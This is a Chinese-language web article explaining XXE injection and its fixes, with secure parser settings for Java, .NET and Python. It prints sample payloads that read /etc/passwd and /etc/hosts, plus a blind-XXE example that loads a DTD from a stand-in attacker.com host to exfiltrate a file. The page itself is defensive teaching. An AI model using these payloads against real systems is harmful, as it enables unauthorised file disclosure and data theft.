XML外部实体注入(XXE)是一种严重的安全漏洞,攻击者利用XML解析器处理外部实体的功能来读取服务器内部文件、执行远程请求(SSRF)、扫描内网端口或发起拒绝服务攻击。以下是详细解释和修复方案:


XXE 攻击原理

  1. 外部实体声明
    XML允许定义实体(变量),实体可引用外部资源:

    xml

    <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
  2. 实体注入
    攻击者将恶意实体注入XML输入:

    xml

    <data>&xxe;</data>

    解析器会将 &xxe; 替换为 /etc/passwd 文件内容。

  3. 攻击类型

    • 读取本地文件(file://

    • 发起HTTP请求(http://)→ SSRF

    • 拒绝服务(Billion Laughs 攻击)

    • 端口扫描(结合SSRF)


修复方案

1. 禁用外部实体处理(根本方案)

Java (SAX/DOM)

java

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

.NET (XmlReader)

csharp

var settings = new XmlReaderSettings {DtdProcessing = DtdProcessing.Prohibit,XmlResolver = null  // 禁用解析器
};

Python (lxml)

python

from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
2. 使用安全的XML库
  • 优先选择默认禁用外部实体的库:

    • Java: OWASP Java Encoderjackson-dataformat-xml

    • Python: defusedxml(替代标准库)

      python

      from defusedxml.ElementTree import parse
      parse(xml_file)
3. 输入验证与过滤
  • 过滤用户输入的 <!DOCTYPE> 和 <!ENTITY> 声明

  • 使用正则表达式拦截敏感关键字(临时缓解):

    regex

    <!ENTITY.*?SYSTEM|file:|http:
4. 输出编码

避免直接输出XML解析结果,使用HTML编码:

java

String safeOutput = Encode.forHtmlContent(rawXMLOutput);
5. 服务器层防御
  • WAF规则:拦截包含 ENTITYSYSTEM 等关键词的请求

  • 文件权限:限制应用账户对系统文件的访问权限


XXE 检测方法

  1. 手动测试
    提交测试Payload:

    xml

    <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hosts"> ]>
    <data>&xxe;</data>
  2. 自动化工具

    • OWASP ZAP、Burp Suite Professional(主动扫描)

    • XXEinjector(自动化利用工具)


额外注意事项

  • 依赖库风险:即使代码安全,底层库(如Log4j 1.x)可能引入XXE

  • 非文件协议攻击:防范 php://filtergopher:// 等协议

  • 盲XXE:通过DNS查询或HTTP请求外带数据(需配置外部DTD)

    xml

    <!ENTITY % payload SYSTEM "file:///secret">
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;

修复后验证

  1. 使用单元测试覆盖XXE攻击场景

  2. 定期进行安全扫描(SAST/DAST)

  3. 渗透测试:尝试读取 /etc/passwd 或触发DNS查询

关键原则:始终禁用DTD和外部实体解析。大多数现代XML解析器提供了明确的开关选项,启用安全配置是防御XXE的核心。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/bicheng/89043.shtml
繁体地址,请注明出处:http://hk.pswp.cn/bicheng/89043.shtml
英文地址,请注明出处:http://en.pswp.cn/bicheng/89043.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

解决高并发场景中的连接延迟:TCP 优化与队头阻塞问题剖析

你是否在高并发场景下遇到过这种情况&#xff1a;系统性能本来不错&#xff0c;但在请求量大增的时刻&#xff0c;连接延迟暴涨&#xff0c;响应时间直线飙升&#xff0c;甚至整个服务都变得不可用&#xff1f;当你打开监控时&#xff0c;CPU、内存、带宽都在正常范围内&#x…

Web学习笔记4

CSS概述1、CSS简介CSS&#xff0c;层叠样式表&#xff0c;是一种样式表语言&#xff0c;用以描述HTML的呈现内容的方式&#xff08;美化网页&#xff09;。CSS书写规则是&#xff1a;选择器{属性名&#xff1a;属性值}的键值对CSS有三种引入方式&#xff0c;分别为&#xff1a;…

Spring AI 初学者指南:从入门到实践与常用大模型介绍

作为 Java 开发者&#xff0c;当 AI 浪潮席卷而来时&#xff0c;如何在熟悉的 Spring 生态中快速拥抱大模型开发&#xff1f;Spring AI 的出现给出了答案。本文将从初学者视角出发&#xff0c;带你了解 Spring AI 的核心概念、使用方法&#xff0c;并介绍与之搭配的常用大模型&…

C#自定义控件

1。C#中控件和组件的区别&#xff1a; 一般组件派生于&#xff1a;Component类&#xff0c;所以从此类派生出的称之为组件。 一般用户控件派生于:Control类或UserControl类&#xff0c;所以从该类派生出的称之为用户控件。 他们之间的关系主要是&#xff1a;UserControl继承Con…

网络资产测绘工具全景解析:七大平台深度洞察

​一、资产测绘工具的核心价值​网络资产测绘&#xff08;Cyber Asset Intelligence&#xff09;技术通过主动扫描与被动分析&#xff1a;实时发现全球暴露的网络设备&#xff08;服务器、摄像头、IoT设备&#xff09;自动化构建资产指纹库&#xff08;操作系统/服务/框架版本&…

编程语言设计目的与侧重点全解析(主流语言深度总结)

编程语言的设计本质上是对计算逻辑的形式化表达与工程约束的平衡&#xff0c;不同语言因目标场景、时代需求和技术哲学的差异&#xff0c;形成了独特的设计范式。以下从系统级、应用级、脚本/动态、函数式、并发/安全等维度&#xff0c;选取10种最具代表性的编程语言&#xff0…

重学前端003 --- 响应式网页设计 CSS 颜色

文章目录文档声明head颜色模型div根据在这里 Freecodecamp 实践&#xff0c;记录笔记总结。 文档声明 在文档顶部添加 DOCTYPE html 声明 <!DOCTYPE html>head title 元素为搜索引擎提供了有关页面的额外信息。 它还通过以下两种方式显示 title 元素的内容&#xff1a…

这个Pandas函数可以自动爬取Web图表

Pandas作为数据科学领域鳌头独占的利器&#xff0c;有着丰富多样的函数&#xff0c;能实现各种意想不到的功能。 作为学习者没办法一次性掌握Pandas所有的方法&#xff0c;需要慢慢积累&#xff0c;多看多练。 这次为大家介绍一个非常实用且神奇的函数-read_html()&#xff0…

vLLM与SGLang在自然语言处理领域的技术架构与性能对比研究

随着大语言模型在工业界和学术界的广泛应用&#xff0c;高效推理框架的选择成为自然语言处理领域的关键挑战。vLLM与SGLang作为当前最前沿的推理优化框架&#xff0c;分别通过创新的PagedAttention和RadixAttention机制展现了独特的技术优势。本文将系统对比两大框架的核心架构…

楼宇自动化:Modbus 在暖通空调(HVAC)中的节能控制(二)

Modbus 在 HVAC 节能控制中的应用案例案例一&#xff1a;某商业建筑 HVAC 系统节能改造某大型商业建筑&#xff0c;总建筑面积达 5 万平方米&#xff0c;涵盖了购物中心、餐饮区和娱乐场所等多种功能区域 。改造前&#xff0c;其 HVAC 系统采用传统的控制方式&#xff0c;设备之…

win10安装Elasticsearch

1 启动elasticsearch 下载地址&#xff1a;Download Elasticsearch | Elastic 双击elasticsearch.bat elasticsearch黑窗口启动乱码问题解决方案 到 config 文件下找到 jvm.options 文件 打开后 在文件末尾空白处 添加 -Dfile.encodingGBK 保存后重启即可。 启动后输入&am…

[Meetily后端框架] Whisper转录服务器 | 后端服务管理脚本

第七章&#xff1a;Whisper转录服务器 欢迎回来&#xff01; 到目前为止&#xff0c;我们已经深入探索了"meeting-minutes"项目的"大脑"——Python后端。 我们已经了解了它如何通过后端API网关接收文本转录&#xff0c;使用摘要数据结构&#xff08;Pyd…

Azure-ADF 抽取数据

1,Azure 访问地址 1,国际版 https://portal.azure.com/#homehttps://portal.azure.com/#home2,世纪互联中国版 Microsoft Azure 由世纪互联运营https://portal.azure.cn/2,创建资源组并且所有的后续组件都是再此资源下面创建。 3,创建Data Factory 工具 4,核心组件 1. 管…

django queryset 去重

在Django中&#xff0c;使用QuerySet时&#xff0c;如果你想要对查询结果进行去重&#xff08;即去除重复的记录&#xff09;&#xff0c;你可以使用几种不同的方法。这里列出了一些常见的方法&#xff1a; 使用distinct() distinct()方法用于返回QuerySet中不重复的唯一对象。…

WIFI MTU含义 ,协商修改的过程案例分析

WIFI MTU含义 ,协商修改的过程案例分析 文章目录 **WIFI MTU含义 ,协商修改的过程案例分析****一、WIFI MTU的含义****二、MTU协商修改的过程案例分析****1. TCP/IP协议中的MTU协商****2. 蓝牙(BLE)中的MTU协商****3. 网络设备配置中的MTU调整****三、协商修改的注意事项**…

记一次Android Studio编译报错:Execution failed for task ‘:app:compileDebugAidl‘

问题背景: android studio导入AIDL文件的时候编译提示: Execution failed for task :app:compileDebugAidl. > A failure occurred while executing com.android.build.gradle.tasks.AidlCompile$AidlCompileRunnable > com.android.ide.common.process.ProcessEx…

selenium跳转到新页面时如何进行定位

在 Selenium 中&#xff0c;当你跳转到新页面&#xff08;例如通过点击链接、提交表单或 JavaScript 重定向&#xff09;时&#xff0c;通常会遇到页面加载或窗口切换的问题。为了在新页面上继续进行页面定位操作&#xff0c;你需要确保以下几点&#xff1a;✅ 1. 等待页面加载…

QT——QComboBox组合框控件

QComboBox概述QComboBox是Qt框架中提供的组合框控件&#xff0c;它结合了按钮和下拉列表的功能&#xff0c;允许用户从预定义的选项列表中选择一个或多个项目。基本特性特性描述显示方式显示当前选中项&#xff0c;点击后展开下拉列表编辑能力可设置为可编辑或不可编辑项目类型…

CentOS 安装jenkins笔记

1. 安装 Java。目前一般jdk要求11以上&#xff0c;否则会报错2. 手动添加 Jenkins 仓库先创建一个专门的Jenkins文件夹&#xff1a;mkdir jenkins然后 执行 sudo curl -fsSL https://pkg.jenkins.io/redhat/jenkins.io.key -o /etc/pki/rpm-gpg/jenkins.io.key 然后&#xff0…

C#枚举:从基础到高级的全方位解析

C#枚举&#xff1a;从基础到高级的全方位解析 在 C# 编程中&#xff0c;枚举&#xff08;Enum&#xff09;是一种特殊的值类型&#xff0c;用于定义命名的常量集合&#xff0c;它为代码提供了更强的类型安全、可读性和可维护性。从简单的状态标识到复杂的位运算组合&#xff0c…